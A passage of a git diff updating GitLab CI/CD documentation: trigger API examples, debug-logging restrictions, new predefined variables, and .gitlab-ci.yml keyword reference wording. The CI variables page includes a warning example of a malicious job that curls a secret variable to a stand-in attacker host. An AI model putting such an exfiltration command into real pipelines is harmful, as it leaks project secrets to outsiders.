@@ -96,7 +96,7 @@ Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts ## Adding a new trigger Go to your -**Settings ➔ CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates +**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates a new token which you can then use to trigger a rerun of this particular project's pipeline. @@ -109,12 +109,12 @@ overview of the time the triggers were last used. ## Revoking a trigger You can revoke a trigger any time by going at your project's -**Settings ➔ CI/CD** under **Triggers** and hitting the **Revoke** button. +**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button. The action is irreversible. ## Triggering a pipeline -To trigger a job you need to send a `POST` request to GitLab's API endpoint: +To trigger a job you need to send a `POST` request to the GitLab API endpoint: ```plaintext POST /projects/:id/trigger/pipeline @@ -126,7 +126,7 @@ branches or tags. The `:id` of a project can be found by [querying the API](../../api/projects.md) or by visiting the **CI/CD** settings page which provides self-explanatory examples. -When a rerun of a pipeline is triggered, the information is exposed in GitLab's +When a rerun of a pipeline is triggered, the information is exposed in the GitLab UI under the **Jobs** page and the jobs are marked as triggered 'by API'.  @@ -143,7 +143,7 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example: curl --request POST \ --form token=TOKEN \ --form ref=master \ - https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` In this case, the project with ID `9` gets rebuilt on `master` branch. @@ -164,7 +164,7 @@ need to add in project A's `.gitlab-ci.yml`: build_docs: stage: deploy script: - - "curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" + - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' only: - tags ``` @@ -244,7 +244,7 @@ curl --request POST \ --form token=TOKEN \ --form ref=master \ --form "variables[UPLOAD_TO_S3]=true" \ - https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables) @@ -257,10 +257,10 @@ in conjunction with cron. The example below triggers a job on the `master` branch of project with ID `9` every night at `00:30`: ```shell -30 0 * * * curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline +30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -This behavior can also be achieved through GitLab's UI with +This behavior can also be achieved through the GitLab UI with [pipeline schedules](../pipelines/schedules.md). ## Legacy triggers @@ -268,5 +268,13 @@ This behavior can also be achieved through GitLab's UI with Old triggers, created before GitLab 9.0 are marked as legacy. Triggers with the legacy label do not have an associated user and only have -access to the current project. They are considered deprecated and will be +access to the current project. They are considered deprecated and might be removed with one of the future versions of GitLab. + +## Troubleshooting + +### '404 not found' when triggering a pipeline + +A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused +by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) +and use that token to authenticate when triggering a pipeline. diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 5dc1d3663c5..9cda1f14b01 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -197,6 +197,7 @@ latest commit yet. This might be because: - GitLab hasn't finished creating the pipeline yet. - You are using an external CI service and GitLab hasn't heard back from the service yet. - You are not using CI/CD pipelines in your project. +- You are using CI/CD pipelines in your project, but your configuration prevented a pipeline from running on the source branch for your merge request. - The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)). After the pipeline is created, the message updates with the pipeline status. diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index 0a1f0000969..2505e56356d 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -65,6 +65,39 @@ execution time and the error output.  +### Number of recent failures + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241759) in GitLab 13.7. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-number-of-recent-failures). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +If a test failed in the project's default branch in the last 14 days, a message like +`Failed {n} time(s) in {default_branch} in the last 14 days` is displayed for that test. + +#### Enable or disable the number of recent failures **(CORE ONLY)** + +Displaying the number of failures in the last 14 days is under development and not +ready for production use. It is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:test_failure_history) +``` + +To disable it: + +```ruby +Feature.disable(:test_failure_history) +``` + ## How to set it up To enable the Unit test reports in merge requests, you need to add diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index c5eee2ed960..f4ca51be151 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`: ```yaml build: script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` ### Custom environment variables of type Variable @@ -243,7 +243,7 @@ Some variables are listed in the UI so you can choose them more quickly. | `AWS_DEFAULT_REGION` | Any | 12.10 | | `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | -CAUTION: **Caution:** +WARNING: When you store credentials, there are security implications. If you are using AWS keys, for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). @@ -259,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https: |----------------------|------------------------------------------| | bash/sh | `$variable` | | PowerShell | `$env:variable` (primary) or `$variable` | -| Windows Batch | `%variable%` | +| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. | ### Bash @@ -415,7 +415,7 @@ You can define per-project or per-group variables that are set in the pipeline e We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who: - Do **not** use an external key store. -- Use GitLab's [integration with HashiCorp Vault](../secrets/index.md). +- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). Group-level variables can be added by: @@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l To add an instance-level variable: -1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section. +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. @@ -590,7 +590,7 @@ variables](../../topics/autodevops/customize.md#application-secret-variables) ar then available as environment variables on the running application container. -CAUTION: **Caution:** +WARNING: Variables with multi-line values are not supported due to limitations with the Auto DevOps scripting environment. @@ -798,7 +798,7 @@ deploy_staging: - if: '$RELEASE =~ $STAGINGRELS' ``` -NOTE: **Note:** +NOTE: The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438) for more details. @@ -825,7 +825,7 @@ testvariable: > Introduced in GitLab Runner 1.7. -CAUTION: **Warning:** +WARNING: Enabling debug tracing can have severe security implications. The output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible @@ -844,6 +844,50 @@ Before enabling this, you should ensure jobs are visible to also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs before making them visible again. +### Restricted access to debug logging + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-restricted-access-to-debug-logging). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +With restricted access to debug logging, only users with +[developer or higher permissions](../../user/permissions.md#project-members-permissions) +can view job logs when debug logging is enabled with a variable in: + +- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables). +- The CI/CD variables set within the GitLab UI. + +WARNING: +If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible +to all users with access to job logs. The permission levels are not checked by Runner, +so you should make use of the variable in GitLab only. + +#### Enable or disable Restricted access to debug logging **(CORE ONLY)** + +Restricted Access to Debug logging is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:restrict_access_to_build_debug_mode) +``` + +To disable it: + +```ruby +Feature.disable(:restrict_access_to_build_debug_mode) +``` + +### Enable Debug logging + To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml diff --git a/doc/ci/variables/deprecated_variables.md b/doc/ci/variables/deprecated_variables.md index 71e2b5b2e44..755e34fa5ca 100644 --- a/doc/ci/variables/deprecated_variables.md +++ b/doc/ci/variables/deprecated_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,7 +17,7 @@ To follow conventions of naming across GitLab, and to further move away from the release. Starting with GitLab 9.0, we have deprecated the `$CI_BUILD_*` variables. **You are -strongly advised to use the new variables as we will remove the old ones in +strongly advised to use the new variables as we might remove the old ones in future GitLab releases.** | 8.x name | 9.0+ name | diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 055cb2f6a61..ba0a5e8f461 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -14,7 +14,7 @@ Some of the predefined environment variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the version of GitLab Runner that's required. -NOTE: **Note:** +NOTE: Starting with GitLab 9.0, we have deprecated some variables. Read the [9.0 Renaming](deprecated_variables.md#gitlab-90-renamed-variables) section to find out their replacements. **To avoid problems with deprecated and removed variables in future releases, you are strongly advised to use the new variables.** @@ -40,7 +40,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_REF_SLUG` | 9.0 | all | `$CI_COMMIT_REF_NAME` lowercased, shortened to 63 bytes, and with everything except `0-9` and `a-z` replaced with `-`. No leading / trailing `-`. Use in URLs, host names and domain names. | | `CI_COMMIT_SHA` | 9.0 | all | The commit revision for which project is built | | `CI_COMMIT_SHORT_SHA` | 11.7 | all | The first eight characters of `CI_COMMIT_SHA` | -| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines. | +| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines or tag pipelines. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | | `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | @@ -49,6 +49,10 @@ Kubernetes-specific environment variables are detailed in the | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | | `CI_DEBUG_TRACE` | all | 1.7 | Whether [debug logging (tracing)](README.md#debug-logging) is enabled | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the default branch for the project. | +| `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The image prefix for pulling images through the Dependency Proxy. | +| `CI_DEPENDENCY_PROXY_SERVER` | 13.7 | all | The server for logging in to the Dependency Proxy. This is equivelant to `$CI_SERVER_HOST:$CI_SERVER_PORT`. | +| `CI_DEPENDENCY_PROXY_PASSWORD` | 13.7 | all | The password to use to pull images through the Dependency Proxy. | +| `CI_DEPENDENCY_PROXY_USER` | 13.7 | all | The username to use to pull images through the Dependency Proxy. | | `CI_DEPLOY_FREEZE` | 13.2 | all | Included with the value `true` if the pipeline runs during a [deploy freeze window](../../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze). | | `CI_DEPLOY_PASSWORD` | 10.8 | all | Authentication password of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. | | `CI_DEPLOY_USER` | 10.8 | all | Authentication username of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. | @@ -64,6 +68,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. | | `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Included with the value `true` only if the pipeline's project has any open [requirements](../../user/project/requirements/index.md). Not included if there are no open requirements for the pipeline's project. | +| `CI_OPEN_MERGE_REQUESTS` | 13.7 | all | Contains a comma-delimited list of up to 4 Merge Requests from the current source project and branch in the form `gitlab-org/gitlab!333,gitlab-org/gitlab-foss!11` | | `CI_JOB_ID` | 9.0 | all | The unique ID of the current job that GitLab CI/CD uses internally | | `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the image running the CI job | | `CI_JOB_MANUAL` | 8.12 | all | The flag to indicate that job was manually started | @@ -92,13 +97,15 @@ Kubernetes-specific environment variables are detailed in the | `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used, the merge request is created, and the pipeline is a [merged result pipeline](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** | | `CI_MERGE_REQUEST_TITLE` | 11.9 | all | The title of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. | | `CI_MERGE_REQUEST_EVENT_TYPE` | 12.3 | all | The event type of the merge request, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Can be `detached`, `merged_result` or `merge_train`. | +| `CI_MERGE_REQUEST_DIFF_ID` | 13.7 | all | The version of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). | +| `CI_MERGE_REQUEST_DIFF_BASE_SHA` | 13.7 | all | The base SHA of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). | | `CI_NODE_INDEX` | 11.5 | all | Index of the job in the job set. If the job is not parallelized, this variable is not set. | | `CI_NODE_TOTAL` | 11.5 | all | Total number of instances of this job running in parallel. If the job is not parallelized, this variable is set to `1`. | | `CI_PAGES_DOMAIN` | 11.8 | all | The configured domain that hosts GitLab Pages. | | `CI_PAGES_URL` | 11.8 | all | URL to GitLab Pages-built pages. Always belongs to a subdomain of `CI_PAGES_DOMAIN`. | | `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This is a unique ID across all projects on GitLab. | | `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique for the current project. | -| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens) (renamed to `cross_project_pipeline` since 13.0). For pipelines created before GitLab 9.5, this is displayed as `unknown`. | +| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens). For pipelines created before GitLab 9.5, this is displayed as `unknown`. | | `CI_PIPELINE_TRIGGERED` | all | all | The flag to indicate that job was [triggered](../triggers/README.md) | | `CI_PIPELINE_URL` | 11.1 | 0.5 | Pipeline details URL | | `CI_PROJECT_DIR` | all | all | The full path where the repository is cloned and where the job is run. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see [Advanced configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) for GitLab Runner. | @@ -112,7 +119,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_PROJECT_TITLE` | 12.4 | all | The human-readable project name as displayed in the GitLab web interface. | | `CI_PROJECT_URL` | 8.10 | 0.5 | The HTTP(S) address to access project | | `CI_PROJECT_VISIBILITY` | 10.3 | all | The project visibility (internal, private, public) | -| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of GitLab's Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. | +| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of the GitLab Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. | | `CI_REGISTRY_IMAGE` | 8.10 | 0.5 | If the Container Registry is enabled for the project it returns the address of the registry tied to the specific project | | `CI_REGISTRY_PASSWORD` | 9.0 | all | The password to use to push containers to the GitLab Container Registry, for the current project. | | `CI_REGISTRY_USER` | 9.0 | all | The username to use to push containers to the GitLab Container Registry, for the current project. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index b914f3db572..f2dc58bc144 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -24,7 +24,7 @@ There are two places defined variables can be used. On the: | Definition | Can be expanded? | Expansion place | Description | |:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | +| `environment:url` | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab.<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | @@ -57,8 +57,8 @@ There are three expansion mechanisms: ### GitLab internal variable expansion mechanism The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. -Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any runner will get the job. +Each form is handled in the same way, no matter which OS/shell handles the job, +because the expansion is done in GitLab before any runner gets the job. ### GitLab Runner internal variable expansion mechanism @@ -66,7 +66,7 @@ since the expansion is done in GitLab before any runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. @@ -77,7 +77,7 @@ This is an expansion that takes place during the `script` execution. How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's `script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled by bash/sh (leaving empty strings or some values depending whether the variables were -defined or not), but will not work with Windows' `cmd` or PowerShell, since these shells +defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells are using a different variables syntax. Supported: @@ -87,10 +87,10 @@ Supported: `.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules). - The `script` may also use all variables defined in the lines before. So, for example, if you define a variable `export MY_VARIABLE="test"`: - - In `before_script`, it will work in the following lines of `before_script` and + - In `before_script`, it works in the following lines of `before_script` and all lines of the related `script`. - - In `script`, it will work in the following lines of `script`. - - In `after_script`, it will work in following lines of `after_script`. + - In `script`, it works in the following lines of `script`. + - In `after_script`, it works in following lines of `after_script`. In the case of `after_script` scripts, they can: @@ -133,7 +133,7 @@ due to security reasons. Variables defined with an environment scope are supported. Given that there is a variable `$STAGING_SECRET` defined in a scope of `review/staging/*`, the following job that is using dynamic environments -is going to be created, based on the matching variable expression: +is created, based on the matching variable expression: ```yaml my-job: diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 1057a1389de..7ca74cdf2a2 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,31 +13,30 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). - To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). -While you are authoring your `.gitlab-ci.yml` file, you can validate it -by using the [CI Lint](../lint.md) tool. -project namespace. For example, `https://gitlab.example.com/gitlab-org/project-123/-/ci/lint`. +When you are editing your `.gitlab-ci.yml` file, you can validate it with the +[CI Lint](../lint.md) tool. ## Job keywords A job is defined as a list of keywords that define the job's behavior. -The following table lists available keywords for jobs: +The keywords available for jobs are: | Keyword | Description | |:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`script`](#script) | Shell script that is executed by a runner. | +| [`script`](#script) | Shell script that is executed by a runner. | | [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. Failed job does not contribute to commit status. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | | [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. | | [`before_script`](#before_script) | Override a set of commands that are executed before job. | -| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | +| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | | [`coverage`](#coverage) | Code coverage settings for a given job. | | [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | | [`environment`](#environment) | Name of an environment to which the job deploys. Also available: `environment:name`, `environment:url`, `environment:on_stop`, `environment:auto_stop_in`, and `environment:action`. | | [`except`](#onlyexcept-basic) | Limit when jobs are not created. Also available: [`except:refs`, `except:kubernetes`, `except:variables`, and `except:changes`](#onlyexcept-advanced). | -| [`extends`](#extends) | Configuration entries that this job inherits from. | +| [`extends`](#extends) | Configuration entries that this job inherits from. | | [`image`](#image) | Use Docker images. Also available: `image:name` and `image:entrypoint`. | -| [`include`](#include) | Allows this job to include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | +| [`include`](#include) | Include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | | [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | | [`only`](#onlyexcept-basic) | Limit when jobs are created. Also available: [`only:refs`, `only:kubernetes`, `only:variables`, and `only:changes`](#onlyexcept-advanced). | | [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | @@ -48,7 +47,7 @@ The following table lists available keywords for jobs: | [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. | | [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. | | [`stage`](#stage) | Defines a job stage (default: `test`). | -| [`tags`](#tags) | List of tags that are used to select a runner. | +| [`tags`](#tags) | List of tags that are used to select a runner. | | [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | | [`trigger`](#trigger) | Defines a downstream pipeline trigger. | | [`variables`](#variables) | Define job variables on a job level. | @@ -69,20 +68,20 @@ can't be used as job names**: - `cache` - `include` -## Global keywords - -Some keywords must be defined at a global level, affecting all jobs in the pipeline. +### Reserved keywords -### Using reserved keywords - -If you get validation error when using specific values (for example, `true` or `false`), try to: +If you get a validation error when using specific values (for example, `true` or `false`), try to: - Quote them. - Change them to a different form. For example, `/bin/true`. +## Global keywords + +Some keywords are defined at a global level and affect all jobs in the pipeline. + ### Global defaults -Some keywords can be set globally as the default for all jobs using the +Some keywords can be set globally as the default for all jobs with the `default:` keyword. Default keywords can then be overridden by job-specific configuration. @@ -121,7 +120,7 @@ rspec 2.6: You can disable inheritance of globally defined defaults and variables with the `inherit:` keyword. -To enable or disable the inheritance of all `variables:` or `default:` keywords, use the following format: +To enable or disable the inheritance of all `default:` or `variables:` keywords, use: - `default: true` or `default: false` - `variables: true` or `variables: false` @@ -198,17 +197,16 @@ karma: ### `stages` -`stages` is used to define stages that contain jobs and is defined -globally for the pipeline. +Use `stages` to define stages that contain groups of jobs. `stages` is defined globally +for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is +part of. -The specification of `stages` allows for having flexible multi stage pipelines. -The ordering of elements in `stages` defines the ordering of jobs' execution: +The order of the `stages` items defines the execution order for jobs: -1. Jobs of the same stage are run in parallel. -1. Jobs of the next stage are run after the jobs from the previous stage - complete successfully. +- Jobs in the same stage run in parallel. +- Jobs in the next stage run after the jobs from the previous stage complete successfully. -Let's consider the following example, which defines 3 stages: +For example: ```yaml stages: @@ -217,25 +215,28 @@ stages: - deploy ``` -1. First, all jobs of `build` are executed in parallel. -1. If all jobs of `build` succeed, the `test` jobs are executed in parallel. -1. If all jobs of `test` succeed, the `deploy` jobs are executed in parallel. -1. If all jobs of `deploy` succeed, the commit is marked as `passed`. -1. If any of the previous jobs fails, the commit is marked as `failed` and no - jobs 